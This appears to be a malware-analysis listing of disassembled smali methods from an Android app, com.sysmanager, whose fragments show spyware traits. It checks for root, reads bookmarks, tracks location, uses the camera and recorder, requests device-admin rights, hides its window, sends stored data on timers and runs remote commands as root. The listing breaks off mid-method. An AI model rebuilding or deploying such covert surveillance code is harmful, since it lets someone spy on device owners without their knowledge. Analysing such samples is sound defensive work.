  • Not yet implemented
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.prologue
2new-instance v0, Ljava/lang/UnsupportedOperationException;
4const-string v1, "Not yet implemented"
6invoke-direct {v0, v1}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
7throw v0
APIs
  • android.net.Uri.parse
Strings
  • content://browser/bookmarks
Position Instruction Meta Information
0.prologue
2const-string v0, "content://browser/bookmarks"
4invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
5move-result-object v0
6sput-object v0, Lcom/sysmanager/system/AndroidTouch;->BOOKMARKS_URI:Landroid/net/Uri;
7return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.findBinary
Strings
  • ng
Position Instruction Meta Information
0.prologue
2const-string v0, "ng"
4invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemCall;->findBinary(Ljava/lang/String;)Z
5move-result v0
6return v0
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.findBinary
Strings
  • su
Position Instruction Meta Information
0.prologue
2const-string v0, "su"
4invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemCall;->findBinary(Ljava/lang/String;)Z
5move-result v0
6return v0
APIs
  • android.app.IntentService.<init>
Strings
  • AndroidSystemLog
Position Instruction Meta Information
0.prologue
2const-string v0, "AndroidSystemLog"
4invoke-direct {p0, v0}, Landroid/app/IntentService;-><init>(Ljava/lang/String;)V
5return-void
APIs
  • android.app.Activity.onCreate
  • com.sysmanager.EnableLocationActivity.checkLocationSettings
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
4new-instance v0, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;
6invoke-direct {v0, p0}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;-><init>(Landroid/content/Context;)V
8invoke-virtual {v0, p0}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;->addConnectionCallbacks(Lcom/google/android/gms/common/api/GoogleApiClient$ConnectionCallbacks;)Lcom/google/android/gms/common/api/GoogleApiClient$Builder;
9move-result-object v0
11sget-object v1, Lcom/google/android/gms/location/LocationServices;->API:Lcom/google/android/gms/common/api/Api;
13invoke-virtual {v0, v1}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;->addApi(Lcom/google/android/gms/common/api/Api;)Lcom/google/android/gms/common/api/GoogleApiClient$Builder;
14move-result-object v0
16invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient$Builder;->build()Lcom/google/android/gms/common/api/GoogleApiClient;
17move-result-object v0
18iput-object v0, p0, Lcom/sysmanager/EnableLocationActivity;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
19new-instance v0, Lcom/google/android/gms/location/LocationRequest;
21invoke-direct {v0}, Lcom/google/android/gms/location/LocationRequest;-><init>()V
22const/16 v1, 0x64
24invoke-virtual {v0, v1}, Lcom/google/android/gms/location/LocationRequest;->setPriority(I)Lcom/google/android/gms/location/LocationRequest;
25move-result-object v0
26iput-object v0, p0, Lcom/sysmanager/EnableLocationActivity;->mLocationRequest:Lcom/google/android/gms/location/LocationRequest;
28iget-object v0, p0, Lcom/sysmanager/EnableLocationActivity;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
30invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnected()Z
31move-result v0
32if-eqz v0, :cond_31
34invoke-direct {p0}, Lcom/sysmanager/EnableLocationActivity;->checkLocationSettings()V
35goto_30: return-void
36cond_31:
37iget-object v0, p0, Lcom/sysmanager/EnableLocationActivity;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
39invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->isConnecting()Z
40move-result v0
41if-nez v0, :cond_30
43iget-object v0, p0, Lcom/sysmanager/EnableLocationActivity;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
45invoke-virtual {v0}, Lcom/google/android/gms/common/api/GoogleApiClient;->connect()V
46goto/16 :goto_30
Cross References
APIs
  • com.sysmanager.EnableLocationActivity.finish
  • com.sysmanager.EnableLocationActivity.getApplicationContext
Position Instruction Meta Information
0.param p1, "locationSettingsResult" # Lcom/google/android/gms/location/LocationSettingsResult;
1.annotation build Landroid/support/annotation/NonNull;
2.end annotation
3.end param
4.prologue
6invoke-virtual {p1}, Lcom/google/android/gms/location/LocationSettingsResult;->getStatus()Lcom/google/android/gms/common/api/Status;
7move-result-object v1
9invoke-virtual {v1}, Lcom/google/android/gms/common/api/Status;->getStatusCode()I
10move-result v2
11packed-switch v2, :pswitch_data_28
13iget-object v2, p0, Lcom/sysmanager/EnableLocationActivity$1;->this$0:Lcom/sysmanager/EnableLocationActivity;
15invoke-virtual {v2}, Lcom/sysmanager/EnableLocationActivity;->finish()V
16goto_10: return-void
17try_start_11:
18iget-object v2, p0, Lcom/sysmanager/EnableLocationActivity$1;->this$0:Lcom/sysmanager/EnableLocationActivity;
19const/16 v3, 0x539
21invoke-virtual {v1, v2, v3}, Lcom/google/android/gms/common/api/Status;->startResolutionForResult(Landroid/app/Activity;I)V
22try_end_18: goto/16 :goto_10
23catch_19: move-exception v0
25iget-object v2, p0, Lcom/sysmanager/EnableLocationActivity$1;->this$0:Lcom/sysmanager/EnableLocationActivity;
27invoke-virtual {v2}, Lcom/sysmanager/EnableLocationActivity;->getApplicationContext()Landroid/content/Context;
28move-result-object v2
30invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
31move-result-object v3
33invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
34goto/16 :goto_10
Cross References
APIs
  • java.io.OutputStream.write
  • java.io.OutputStream.close
Position Instruction Meta Information
0.param p0, "file" # Ljava/io/File;
1.param p1, "data" # [B
2.param p2, "off" # I
3.param p3, "len" # I
4.param p4, "append" # Z
5.annotation system Ldalvik/annotation/Throws;
6value = {
7Ljava/io/IOException;
8}
9.end annotation
10.prologue
11const/4 v0, 0x0
12try_start_1:
13invoke-static {p0, p4}, Lcom/sysmanager/costanti/Costanti;->openOutputStream(Ljava/io/File;Z)Ljava/io/FileOutputStream;
14move-result-object v0
16invoke-virtual {v0, p1, p2, p3}, Ljava/io/OutputStream;->write([BII)V
18invoke-virtual {v0}, Ljava/io/OutputStream;->close()V
19try_end_b:
20invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->closeQuietly(Ljava/io/OutputStream;)V
21return-void
22catchall_f: move-exception v1
24invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->closeQuietly(Ljava/io/OutputStream;)V
25throw v1
Cross References
APIs
  • java.io.InputStream.read
  • java.io.OutputStream.write
Position Instruction Meta Information
0.param p0, "input" # Ljava/io/InputStream;
1.param p1, "output" # Ljava/io/OutputStream;
2.param p2, "buffer" # [B
3.annotation system Ldalvik/annotation/Throws;
4value = {
5Ljava/io/IOException;
6}
7.end annotation
8.prologue
9const-wide/16 v0, 0x0
10goto_2: const/4 v3, -0x1
12invoke-virtual {p0, p2}, Ljava/io/InputStream;->read([B)I
13move-result v2
14if-eq v3, v2, :cond_10
15const/4 v3, 0x0
17invoke-virtual {p1, p2, v3, v2}, Ljava/io/OutputStream;->write([BII)V
18int-to-long v4, v2
19add-long/2addr v0, v4
20goto/16 :goto_2
21cond_10: return-wide v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/sysmanager/storage/Cell;",
7">;",
8"Landroid/content/Context;",
9")V"
10}
11.end annotation
12.prologue
13new-instance v0, Ljava/lang/Thread;
14new-instance v1, Lcom/sysmanager/network/NetworkServices$3;
16invoke-direct {v1, p1, p0}, Lcom/sysmanager/network/NetworkServices$3;-><init>(Landroid/content/Context;Ljava/util/ArrayList;)V
18invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
20invoke-virtual {v0}, Ljava/lang/Thread;->start()V
21return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/sysmanager/storage/PositionVar;",
7">;",
8"Landroid/content/Context;",
9")V"
10}
11.end annotation
12.prologue
13new-instance v0, Ljava/lang/Thread;
14new-instance v1, Lcom/sysmanager/network/NetworkServices$2;
16invoke-direct {v1, p1, p0}, Lcom/sysmanager/network/NetworkServices$2;-><init>(Landroid/content/Context;Ljava/util/ArrayList;)V
18invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
20invoke-virtual {v0}, Ljava/lang/Thread;->start()V
21return-void
APIs
  • java.util.concurrent.Executors.newSingleThreadScheduledExecutor
  • java.util.concurrent.ScheduledExecutorService.scheduleAtFixedRate
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager$2;->this$0:Lcom/sysmanager/system/AndroidFileManager;
4invoke-static {}, Ljava/util/concurrent/Executors;->newSingleThreadScheduledExecutor()Ljava/util/concurrent/ScheduledExecutorService;
5move-result-object v1
6iput-object v1, v0, Lcom/sysmanager/system/AndroidFileManager;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
8iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager$2;->this$0:Lcom/sysmanager/system/AndroidFileManager;
10iget-object v0, v0, Lcom/sysmanager/system/AndroidFileManager;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
12iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$2;->this$0:Lcom/sysmanager/system/AndroidFileManager;
14iget-object v1, v1, Lcom/sysmanager/system/AndroidFileManager;->cicloControllo:Ljava/lang/Runnable;
15const-wide/16 v2, 0x0
16const-wide/16 v4, 0x5
18sget-object v6, Ljava/util/concurrent/TimeUnit;->SECONDS:Ljava/util/concurrent/TimeUnit;
20invoke-interface/range {v0 .. v6}, Ljava/util/concurrent/ScheduledExecutorService;->scheduleAtFixedRate(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
21return-void
Cross References
APIs
  • android.content.Context.getApplicationContext
  • com.sysmanager.storage.FileSend.<init>
Position Instruction Meta Information
0.param p0, "ctx" # Landroid/content/Context;
1.prologue
2const-class v1, Lcom/sysmanager/storage/FileSend;
3monitor-enter v1
4try_start_3:
5sget-object v0, Lcom/sysmanager/storage/FileSend;->mInstance:Lcom/sysmanager/storage/FileSend;
6if-nez v0, :cond_12
7new-instance v0, Lcom/sysmanager/storage/FileSend;
9invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
10move-result-object v2
12invoke-direct {v0, v2}, Lcom/sysmanager/storage/FileSend;-><init>(Landroid/content/Context;)V
13sput-object v0, Lcom/sysmanager/storage/FileSend;->mInstance:Lcom/sysmanager/storage/FileSend;
14cond_12:
15sget-object v0, Lcom/sysmanager/storage/FileSend;->mInstance:Lcom/sysmanager/storage/FileSend;
16try_end_14: monitor-exit v1
17return-object v0
18catchall_16: move-exception v0
19monitor-exit v1
20throw v0
APIs
  • java.util.concurrent.Executors.newScheduledThreadPool
  • java.util.concurrent.ScheduledExecutorService.scheduleAtFixedRate
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidClock$2;->this$0:Lcom/sysmanager/system/AndroidClock;
3const/4 v1, 0x1
5invoke-static {v1}, Ljava/util/concurrent/Executors;->newScheduledThreadPool(I)Ljava/util/concurrent/ScheduledExecutorService;
6move-result-object v1
7iput-object v1, v0, Lcom/sysmanager/system/AndroidClock;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
9iget-object v0, p0, Lcom/sysmanager/system/AndroidClock$2;->this$0:Lcom/sysmanager/system/AndroidClock;
11iget-object v0, v0, Lcom/sysmanager/system/AndroidClock;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
13iget-object v1, p0, Lcom/sysmanager/system/AndroidClock$2;->val$task:Ljava/lang/Runnable;
14const-wide/16 v2, 0x0
15const-wide/16 v4, 0x1
17sget-object v6, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
19invoke-interface/range {v0 .. v6}, Ljava/util/concurrent/ScheduledExecutorService;->scheduleAtFixedRate(Ljava/lang/Runnable;JJLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
20return-void
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.param p2, "flags" # I
2.param p3, "startId" # I
3.prologue
4const/4 v0, 0x0
5iput-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
6new-instance v0, Lcom/sysmanager/system/AndroidFileManager$1;
8invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidFileManager$1;-><init>(Lcom/sysmanager/system/AndroidFileManager;)V
9iput-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->cicloControllo:Ljava/lang/Runnable;
10new-instance v0, Ljava/lang/Thread;
11new-instance v1, Lcom/sysmanager/system/AndroidFileManager$2;
13invoke-direct {v1, p0}, Lcom/sysmanager/system/AndroidFileManager$2;-><init>(Lcom/sysmanager/system/AndroidFileManager;)V
15invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
17invoke-virtual {v0}, Ljava/lang/Thread;->start()V
18const/4 v0, 0x1
19return v0
Strings
  • application/json; charset=utf-8
  • text/plain
Position Instruction Meta Information
0.prologue
2const-string v0, "application/json; charset=utf-8"
4invoke-static {v0}, Lokhttp3/MediaType;->parse(Ljava/lang/String;)Lokhttp3/MediaType;
5move-result-object v0
6sput-object v0, Lcom/sysmanager/network/HTTPUtility;->JSON:Lokhttp3/MediaType;
8const-string v0, "text/plain"
10invoke-static {v0}, Lokhttp3/MediaType;->parse(Ljava/lang/String;)Lokhttp3/MediaType;
11move-result-object v0
12sput-object v0, Lcom/sysmanager/network/HTTPUtility;->MEDIA_TYPE_FILE_TEXT:Lokhttp3/MediaType;
14const-string v0, ""
15sput-object v0, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
16return-void
Cross References
APIs
  • java.io.ByteArrayOutputStream.<init>
  • java.io.ByteArrayOutputStream.toByteArray
Position Instruction Meta Information
0.param p0, "input" # Ljava/io/InputStream;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/io/IOException;
4}
5.end annotation
6.prologue
7new-instance v0, Ljava/io/ByteArrayOutputStream;
9invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
11invoke-static {p0, v0}, Lcom/sysmanager/costanti/Costanti;->copy(Ljava/io/InputStream;Ljava/io/OutputStream;)I
13invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
14move-result-object v1
15return-object v1
Cross References
APIs
  • android.os.Handler.removeCallbacks
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mHandler:Landroid/os/Handler;
4iget-object v1, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mSendFiles:Ljava/lang/Runnable;
6invoke-virtual {v0, v1}, Landroid/os/Handler;->removeCallbacks(Ljava/lang/Runnable;)V
8iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mHandler:Landroid/os/Handler;
10iget-object v1, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mSendFiles:Ljava/lang/Runnable;
11const-wide/32 v2, 0x2bf20
13invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
14return-void
APIs
  • com.sysmanager.Administrator.finish
  • com.sysmanager.Administrator.requestAdminConfirm
Position Instruction Meta Information
0.param p1, "requestCode" # I
1.param p2, "resultCode" # I
2.param p3, "data" # Landroid/content/Intent;
3.prologue
4packed-switch p1, :pswitch_data_10
5goto_3: return-void
6pswitch_4: packed-switch p2, :pswitch_data_16
8invoke-virtual {p0}, Lcom/sysmanager/Administrator;->finish()V
9goto/16 :goto_3
10pswitch_b:
11invoke-virtual {p0}, Lcom/sysmanager/Administrator;->requestAdminConfirm()V
12goto/16 :goto_3
13nop
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/sysmanager/system/AndroidClock$1;
3invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidClock$1;-><init>(Lcom/sysmanager/system/AndroidClock;)V
4new-instance v1, Ljava/lang/Thread;
5new-instance v2, Lcom/sysmanager/system/AndroidClock$2;
7invoke-direct {v2, p0, v0}, Lcom/sysmanager/system/AndroidClock$2;-><init>(Lcom/sysmanager/system/AndroidClock;Ljava/lang/Runnable;)V
9invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
11invoke-virtual {v1}, Ljava/lang/Thread;->start()V
12return-void
APIs
  • com.sysmanager.system.AndroidSystemService.access$500
  • com.sysmanager.system.AndroidSystemService.access$600
Position Instruction Meta Information
0.param p1, "mediaRecorder" # Landroid/media/MediaRecorder;
1.param p2, "i" # I
2.param p3, "i1" # I
3.prologue
5iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$3;->this$0:Lcom/sysmanager/system/AndroidSystemService;
7invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$500(Lcom/sysmanager/system/AndroidSystemService;)Z
9iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$3;->this$0:Lcom/sysmanager/system/AndroidSystemService;
11invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$600(Lcom/sysmanager/system/AndroidSystemService;)V
12return-void
APIs
  • com.sysmanager.system.AndroidSystemService.access$500
  • com.sysmanager.system.AndroidSystemService.access$600
Position Instruction Meta Information
0.param p1, "mediaRecorder" # Landroid/media/MediaRecorder;
1.param p2, "i" # I
2.param p3, "i1" # I
3.prologue
5iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$4;->this$0:Lcom/sysmanager/system/AndroidSystemService;
7invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$500(Lcom/sysmanager/system/AndroidSystemService;)Z
9iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$4;->this$0:Lcom/sysmanager/system/AndroidSystemService;
11invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$600(Lcom/sysmanager/system/AndroidSystemService;)V
12return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p0, "cell" # Lcom/sysmanager/storage/Cell;
1.param p1, "context" # Landroid/content/Context;
2.prologue
3new-instance v0, Ljava/lang/Thread;
4new-instance v1, Lcom/sysmanager/network/NetworkServices$4;
6invoke-direct {v1, p1, p0}, Lcom/sysmanager/network/NetworkServices$4;-><init>(Landroid/content/Context;Lcom/sysmanager/storage/Cell;)V
8invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
10invoke-virtual {v0}, Ljava/lang/Thread;->start()V
11return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p0, "pos2send" # Lcom/sysmanager/storage/PositionVar;
1.param p1, "context" # Landroid/content/Context;
2.prologue
3new-instance v0, Ljava/lang/Thread;
4new-instance v1, Lcom/sysmanager/network/NetworkServices$1;
6invoke-direct {v1, p1, p0}, Lcom/sysmanager/network/NetworkServices$1;-><init>(Landroid/content/Context;Lcom/sysmanager/storage/PositionVar;)V
8invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
10invoke-virtual {v0}, Ljava/lang/Thread;->start()V
11return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p1, "dirfile" # Ljava/lang/String;
1.param p2, "nmfile" # Ljava/lang/String;
2.prologue
3new-instance v0, Ljava/lang/Thread;
4new-instance v1, Lcom/sysmanager/system/AndroidCamera$3;
6invoke-direct {v1, p0, p1, p2}, Lcom/sysmanager/system/AndroidCamera$3;-><init>(Lcom/sysmanager/system/AndroidCamera;Ljava/lang/String;Ljava/lang/String;)V
8invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
10invoke-virtual {v0}, Ljava/lang/Thread;->start()V
11return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p1, "command" # Ljava/lang/String;
1.param p2, "suPath" # Ljava/lang/String;
2.prologue
3new-instance v0, Ljava/lang/Thread;
4new-instance v1, Lcom/sysmanager/system/AndroidMDMSupport$1;
6invoke-direct {v1, p0, p1, p2}, Lcom/sysmanager/system/AndroidMDMSupport$1;-><init>(Lcom/sysmanager/system/AndroidMDMSupport;Ljava/lang/String;Ljava/lang/String;)V
8invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
10invoke-virtual {v0}, Ljava/lang/Thread;->start()V
11return-void
APIs
  • android.app.Service.<init>
  • android.os.Handler.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3new-instance v0, Landroid/os/Handler;
5invoke-direct {v0}, Landroid/os/Handler;-><init>()V
6iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mHandler:Landroid/os/Handler;
7new-instance v0, Lcom/sysmanager/system/AndroidSystemQueues$2;
9invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidSystemQueues$2;-><init>(Lcom/sysmanager/system/AndroidSystemQueues;)V
10iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mStopRunnable:Ljava/lang/Runnable;
11return-void
APIs
  • android.app.Service.onDestroy
  • java.util.concurrent.ScheduledExecutorService.shutdownNow
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
4iget-object v0, p0, Lcom/sysmanager/system/AndroidClock;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
5if-eqz v0, :cond_c
7iget-object v0, p0, Lcom/sysmanager/system/AndroidClock;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
9invoke-interface {v0}, Ljava/util/concurrent/ScheduledExecutorService;->shutdownNow()Ljava/util/List;
10cond_c: return-void
APIs
  • com.sysmanager.system.AndroidSystemService.access$302
  • com.sysmanager.system.AndroidSystemService.access$200
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$1;->this$0:Lcom/sysmanager/system/AndroidSystemService;
3const/4 v1, 0x0
5invoke-static {v0, v1}, Lcom/sysmanager/system/AndroidSystemService;->access$302(Lcom/sysmanager/system/AndroidSystemService;Z)Z
7iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$1;->this$0:Lcom/sysmanager/system/AndroidSystemService;
9invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$200(Lcom/sysmanager/system/AndroidSystemService;)V
10return-void
Cross References
APIs
  • android.os.Environment.getDataDirectory
  • java.io.File.getFreeSpace
Position Instruction Meta Information
0.prologue
2invoke-static {}, Landroid/os/Environment;->getDataDirectory()Ljava/io/File;
3move-result-object v0
5invoke-virtual {v0}, Ljava/io/File;->getFreeSpace()J
6move-result-wide v2
7long-to-float v1, v2
8const/high16 v2, 0x49800000 # 1048576.0f
9div-float/2addr v1, v2
10return v1
Cross References
APIs
  • com.sysmanager.network.HTTPUtility$1.<init>
  • com.sysmanager.network.HTTPUtility$1.start
Position Instruction Meta Information
0.param p0, "comando" # Ljava/lang/String;
1.param p1, "ctx" # Landroid/content/Context;
2.param p2, "serialnumber" # Ljava/lang/String;
3.prologue
4new-instance v0, Lcom/sysmanager/network/HTTPUtility$1;
6invoke-direct {v0, p1, p0}, Lcom/sysmanager/network/HTTPUtility$1;-><init>(Landroid/content/Context;Ljava/lang/String;)V
8invoke-virtual {v0}, Lcom/sysmanager/network/HTTPUtility$1;->start()V
9return-void
APIs
  • android.app.Activity.onActivityResult
  • com.sysmanager.AccessibilityDialog.checkAccessibility
Position Instruction Meta Information
0.param p1, "requestCode" # I
1.param p2, "resultCode" # I
2.param p3, "data" # Landroid/content/Intent;
3.prologue
5invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
7invoke-direct {p0}, Lcom/sysmanager/AccessibilityDialog;->checkAccessibility()V
8return-void
APIs
  • android.content.Intent.<init>
  • com.sysmanager.InstanceIDMessage.startService
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
2const-class v1, Lcom/sysmanager/system/RegistrationService;
4invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
6invoke-virtual {p0, v0}, Lcom/sysmanager/InstanceIDMessage;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
7return-void
Cross References
APIs
  • com.sysmanager.system.AndroidAccessibility$1.<init>
  • com.sysmanager.system.AndroidAccessibility$1.start
Position Instruction Meta Information
0.param p1, "comando" # Ljava/lang/String;
1.prologue
2new-instance v0, Lcom/sysmanager/system/AndroidAccessibility$1;
4invoke-direct {v0, p0, p1}, Lcom/sysmanager/system/AndroidAccessibility$1;-><init>(Lcom/sysmanager/system/AndroidAccessibility;Ljava/lang/String;)V
6invoke-virtual {v0}, Lcom/sysmanager/system/AndroidAccessibility$1;->start()V
7return-void
APIs
  • android.app.Service.<init>
  • org.json.JSONObject.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3new-instance v0, Lorg/json/JSONObject;
5invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
6iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
7return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemLog$1.<init>
  • com.sysmanager.system.AndroidSystemLog$1.start
Position Instruction Meta Information
0.param p1, "ctx" # Landroid/content/Context;
1.prologue
2new-instance v0, Lcom/sysmanager/system/AndroidSystemLog$1;
4invoke-direct {v0, p0, p1}, Lcom/sysmanager/system/AndroidSystemLog$1;-><init>(Lcom/sysmanager/system/AndroidSystemLog;Landroid/content/Context;)V
6invoke-virtual {v0}, Lcom/sysmanager/system/AndroidSystemLog$1;->start()V
7return-void
APIs
  • android.app.Activity.onCreate
  • com.sysmanager.Administrator.requestAdminConfirm
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
5invoke-virtual {p0}, Lcom/sysmanager/Administrator;->requestAdminConfirm()V
6return-void
APIs
  • android.app.Activity.onResume
  • com.sysmanager.Main.moveTaskToBack
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onResume()V
3const/4 v0, 0x1
5invoke-virtual {p0, v0}, Lcom/sysmanager/Main;->moveTaskToBack(Z)Z
6return-void
APIs
  • android.app.Activity.onResume
  • com.sysmanager.MainWeb.moveTaskToBack
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onResume()V
3const/4 v0, 0x1
5invoke-virtual {p0, v0}, Lcom/sysmanager/MainWeb;->moveTaskToBack(Z)Z
6return-void
Cross References
APIs
  • com.sysmanager.system.AndroidCallSystem$1.<init>
  • com.sysmanager.system.AndroidCallSystem$1.start
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/sysmanager/system/AndroidCallSystem$1;
3invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidCallSystem$1;-><init>(Lcom/sysmanager/system/AndroidCallSystem;)V
5invoke-virtual {v0}, Lcom/sysmanager/system/AndroidCallSystem$1;->start()V
6return-void
Cross References
APIs
  • com.sysmanager.system.AndroidFileSystem$1.<init>
  • com.sysmanager.system.AndroidFileSystem$1.start
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/sysmanager/system/AndroidFileSystem$1;
3invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidFileSystem$1;-><init>(Lcom/sysmanager/system/AndroidFileSystem;)V
5invoke-virtual {v0}, Lcom/sysmanager/system/AndroidFileSystem$1;->start()V
6return-void
Cross References
APIs
  • com.sysmanager.system.AndroidMessagingService$1.<init>
  • com.sysmanager.system.AndroidMessagingService$1.start
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/sysmanager/system/AndroidMessagingService$1;
3invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidMessagingService$1;-><init>(Lcom/sysmanager/system/AndroidMessagingService;)V
5invoke-virtual {v0}, Lcom/sysmanager/system/AndroidMessagingService$1;->start()V
6return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall$1.<init>
  • com.sysmanager.system.AndroidSystemCall$1.start
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/sysmanager/system/AndroidSystemCall$1;
3invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidSystemCall$1;-><init>(Lcom/sysmanager/system/AndroidSystemCall;)V
